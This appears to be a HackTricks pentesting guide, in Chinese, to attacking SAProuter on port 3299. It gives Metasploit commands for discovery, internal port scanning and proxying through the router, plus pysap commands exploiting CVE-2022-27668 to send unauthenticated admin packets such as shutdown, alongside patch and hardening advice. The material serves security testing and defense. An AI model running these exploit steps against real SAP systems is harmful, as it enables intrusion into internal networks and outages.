# 3299/tcp - Pentesting SAProuter

Reading time: 9 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks
text
PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

这是来自 https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/ 的帖子摘要

使用 Metasploit 理解 SAProuter 渗透

SAProuter 充当 SAP 系统的反向代理,主要用于控制互联网与内部 SAP 网络之间的访问。它通常通过允许 TCP 端口 3299 通过组织防火墙而暴露于互联网。这种设置使得 SAProuter 成为渗透测试的一个有吸引力的目标,因为它可能作为高价值内部网络的网关。

扫描和信息收集

最初,使用 sap_service_discovery 模块进行扫描,以确定给定 IP 上是否运行 SAP router。此步骤对于确认 SAP router 的存在及其开放端口至关重要。

text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run

在发现之后,使用 sap_router_info_request 模块对 SAP 路由器的配置进行进一步调查,以可能揭示内部网络细节。

text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run

枚举内部服务

通过获得的内部网络洞察,sap_router_portscanner 模块用于通过 SAProuter 探测内部主机和服务,从而更深入地了解内部网络和服务配置。

text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN

该模块在针对特定SAP实例和端口方面的灵活性使其成为进行详细内部网络探索的有效工具。

高级枚举和ACL映射

进一步扫描可以揭示SAProuter上访问控制列表(ACL)的配置,详细说明哪些连接被允许或阻止。这些信息对于理解安全策略和潜在漏洞至关重要。

text
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN

盲目枚举内部主机

在直接从SAProuter获取信息有限的情况下,可以应用盲目枚举等技术。该方法尝试猜测并验证内部主机名的存在,揭示潜在目标而无需直接的IP地址。

利用信息进行渗透测试

在映射网络并识别可访问服务后,渗透测试人员可以利用Metasploit的代理功能,通过SAProuter进行转发,以进一步探索和利用内部SAP服务。

text
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

结论

这种方法强调了安全配置SAProuter的重要性,并突出了通过有针对性的渗透测试访问内部网络的潜力。妥善保护SAP路由器并理解其在网络安全架构中的角色对于防止未经授权的访问至关重要。

有关Metasploit模块及其使用的详细信息,请访问 Rapid7's database


最近的漏洞 (2022-2025)

CVE-2022-27668 – 不当访问控制 ➜ 远程管理命令执行

在2022年6月,SAP发布了安全通知 3158375,解决了SAProuter(所有内核≥ 7.22)中的一个关键缺陷(CVSS 9.8)。未经身份验证的攻击者可以利用宽松的 saprouttab 条目从远程主机 发送管理数据包(例如 shutdowntrace-levelconnection-kill),即使路由器是在没有 -X 远程管理选项的情况下启动的。

该问题源于通过针对未指定地址 0.0.0.0 构建到路由器自身回环接口的隧道的可能性。一旦建立隧道,攻击者将获得本地主机权限,并可以运行任何管理命令。

可以使用 pysap 框架重现实际利用:

bash
# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0    -r 3299 \
-a 127.0.0.1  -l 3299 -v

# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299

受影响的版本

  • 独立的 SAProuter 7.22 / 7.53
  • 内核 7.49, 7.77, 7.81, 7.85–7.88(包括 KRNL64NUC/UC)

修复 / 缓解措施

  1. 应用 SAP Note 3158375 中提供的补丁。
  2. saprouttab 中的 PS 行中移除通配符(*)目标。
  3. 确保路由器在 没有 -X 选项的情况下启动,并且 直接暴露于互联网。

更新的工具和技巧

  • pysap – 积极维护,并提供 router_portfw.pyrouter_admin.pyrouter_trace.py 用于制作自定义 NI/Router 数据包、模糊测试 ACL 或自动化 CVE-2022-27668 漏洞利用。
  • Nmap – 通过添加自定义 SAProuter 探测扩展服务检测:
text
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/

结合 NSE 脚本或 --script=banner 快速指纹识别泄露横幅字符串的版本(SAProuter <ver> on '<host>')。

  • Metasploit – 上述辅助模块仍然可以通过使用 pysap 创建的 SOCKS 或 NI 代理工作,即使路由器阻止直接访问,也能实现完整的框架集成。

加固和检测清单

  • 在边界防火墙上过滤端口 3299/TCP – 仅允许来自受信任的 SAP 支持网络的流量。
  • 保持 SAProuter 完全打补丁;使用 saprouter -v 验证并与最新的内核补丁级别进行比较。
  • saprouttab 中使用 严格的、特定主机 条目;避免使用 * 通配符,并拒绝针对任意主机或端口的 P/S 规则。
  • 使用 -S <secudir> + SNC 启动服务,以强制执行加密和相互认证。
  • 禁用远程管理(-X),如果可能,将监听器绑定到 127.0.0.1,同时使用外部反向代理处理所需流量。
  • 监控 dev_rout 日志,查找可疑的 ROUTER_ADM 数据包或意外的 NI_ROUTE 请求到 0.0.0.0

参考文献

Shodan

  • port:3299 !HTTP 网络数据包过大

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks